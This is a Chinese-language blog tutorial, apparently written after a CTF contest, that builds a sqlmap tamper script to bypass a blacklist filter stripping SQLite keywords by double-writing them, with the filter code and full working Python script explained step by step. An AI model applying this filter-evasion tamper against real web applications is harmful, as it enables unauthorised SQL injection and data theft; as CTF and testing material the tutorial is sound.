SQLMAP-Tamper之較為通用的雙寫繞過

前言

21年省決賽的SQLITE注入就是用的雙寫繞過,當時是手搓程式碼打的,這幾天想起來了,尋思著寫個tamper試試。

一開始以為很簡單,後來才發現有很多要注意的點,折磨了挺久。

等弄完才明白為什麼sqlmap沒有自帶雙寫的tamper,涉及的情況太多,需要根據具體過濾邏輯來寫程式碼,沒法做到統一。

思路

過濾程式碼很簡單:

blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

for n in blacklist:
   regex = re.compile(n, re.IGNORECASE)
   username = regex.sub("", username)

先拿個網上的程式碼舉例,

核心程式碼為

for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

其邏輯為:用正則進行搜索單詞,類似:

1.png

當檢測到payload中存在關鍵字,就將該關鍵字插入到原本關鍵字字元串的隨機位置。

很常規的邏輯,但在這裡有一些問題:

1.類似SELECT->SELSELECTECT,如果添加的位置不對,就可能新生成一個存在於黑名單的字樣導致sqlmap誤判。

2.混淆得不夠徹底。程式碼中是以單詞為單位,但過濾時會擴大面積。精簡一下:

keywords = ['OR','ORDER']
payload = 'ORDER'

混淆時:ORDER->OORRDER

過濾時:OORRDER->ORDER-> ”(為空)

那麼,手動選某個關鍵字列表中比較特別的字樣去統一混淆如何?

結論是可,但是費勁。首先需要先寫個小腳本將關鍵字列表裡的不純粹的元素剔除。比如ORDER里含有OR,那麼就需要將ORDER剔除。其次還得保證sqlmap的測試語句里不使用該字樣,否則將導致誤判。

整理一下上述思路,可以開始著手編寫tamper了。

程式碼

寫腳本之前先介紹下tamper模板

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
   pass

def tamper(payload, **kwargs):
   return payload
  • __priority__定義腳本優先順序:LOWESTLOWERLOWNORMALHIGHHIGHERHIGHEST

  • dependencies()則聲明該函數的適用/不適用範圍,可為空

  • tamper()則是主要函數,處理傳入的payload並返回。

好,然後就是腳本的完整程式碼

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (//sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def tamper(payload, **kwargs):
   """
  優化的雙寫繞過,順序插入並判斷是否新組成過濾單詞
  比如SELECT,當插入位置為3時為SELSELECTECT,則會生成黑名單列表中另一個單詞ELSE造成誤判
  在此進行相關判斷以保證生成的字元不存在另一個敏感詞。

  主要應對:
      blacklist = [...]
      for n in blacklist:
          regex = re.compile(n, re.IGNORECASE)
          username = regex.sub("", username)

  >>> tamper('select 1 or 2 ORDER')
  'selorect 1 oorr 2 OorRDER'
  """

   keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER","INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

   retVal = payload

   warnMsg = "當前關鍵字列表如下,請注意修改:\n"
   warnMsg += "%s" % keywords
   singleTimeWarnMessage(warnMsg)

   if payload:
       for key in reversed(keywords):
           index = keywords.index(key)
           num = 1
           check = True
           while check:
               if num >= len(key):
                   singleTimeWarnMessage('無法繞過雙寫關鍵字列表')
                   exit()
               check = False
               repStr = "%s%s%s" % (key[:num], key, key[num:])
               for t in keywords[:index]:
                   if re.search(t, repStr) and not re.search(t, key):
                       check = True
                       break
               num += 1
           retVal = re.sub(key, repStr, retVal, flags=re.I)
   return retVal

for key in reversed(keywords):首先進入最外層的關鍵字循環,在這裡使用逆序,混淆的時候先2後1,過濾的時候先1後2,就能很好的還原程式碼。

while num < len(key) and check:然後進入第二層循環。num為插入位置,比如ASC,能插入的地方有AS中間和SC中間,如果都插入了一遍還是檢測到敏感詞,說明再怎麼雙寫都會被檢測出來。

for t in keywords[:index]:第三層循環就是二次校驗了,比如['A','ELSE','B','SELECT','C'],混淆的時候從後往前,如果插入的位置不好,SELECT->SELSELECTECT。這樣從前面循環檢測,檢測到ELSE,則該位置不合法,重新插入。個人感覺從中間插入組成新敏感詞的幾率比較小,但仔細琢磨一下也沒必要多加幾行程式碼,於是就乾脆用順序了。

至於not re.search(t, key)是為了避免ORDER中存在OR而被誤判位置不合法的情況。

使用的時候把keywords列表一替換,拿到sqlmap一打,結束!

2.png

有個比較無語的點是re.sub()函數的第四個參數才是flags

3.png

寫程式碼的時候習慣性的在第三個參數位置打上re.I,然後又因為int(re.I)為2,程式正常運行不報錯,最大替換次數為2次。折磨了好長時間。

 

  實驗推薦

  實驗:SQL注入之繞過is_numeric過濾(合天網安實驗室) 點擊進入實操>>

  更多網安工具及學習資料,掃碼免費領: